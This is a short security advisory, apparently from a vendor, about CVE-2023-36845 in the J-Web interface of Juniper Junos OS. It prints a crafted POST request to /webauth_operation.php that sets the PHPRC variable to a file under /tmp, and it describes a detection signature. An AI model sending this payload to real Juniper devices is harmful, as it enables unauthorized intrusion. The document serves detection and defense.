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    • 1 min read

Juniper Networks Junos OS on EX Series and SRX Series Security Bypass (CVE-2023-36845)



Application Details

Junos OS is an operating system which automates network operations.


Vulnerability

Juniper Networks Junos OS on EX Series and SRX Series could allow a remote attacker to bypass security restrictions, caused by a PHP external variable modification flaw in J-Web.


Identification

By sending a specially crafted request, an attacker could exploit this vulnerability to modify certain PHP environments variables.


POST /webauth_operation.php

PAYLOAD - 
Content-Type: multipart/form-data; boundary=------------------------cd911094ceb0f6a5


--------------------------cd911094ceb0f6a5
Content-Disposition: form-data; name="PHPRC"


/tmp/0c1de7614b936d72deebd90a99a6885960102ba051ab02e598ec209566e2a820.ini
--------------------------cd911094ceb0f6a5--
Detection

By turning this into a traffic file and matching rule, we are able to detect attempts to modify certain PHP environments variables.


Coverage

Idappcom have created signature 8024184 along with a traffic file for this vulnerability.


References


Traffic IQ

If you are concerned that your business may be at risk of this vulnerability or others why not try out our Traffic IQ software which can scan your defences and report any issues. Learn more here: https://www.idappcom.co.uk/traffic-iq-professional

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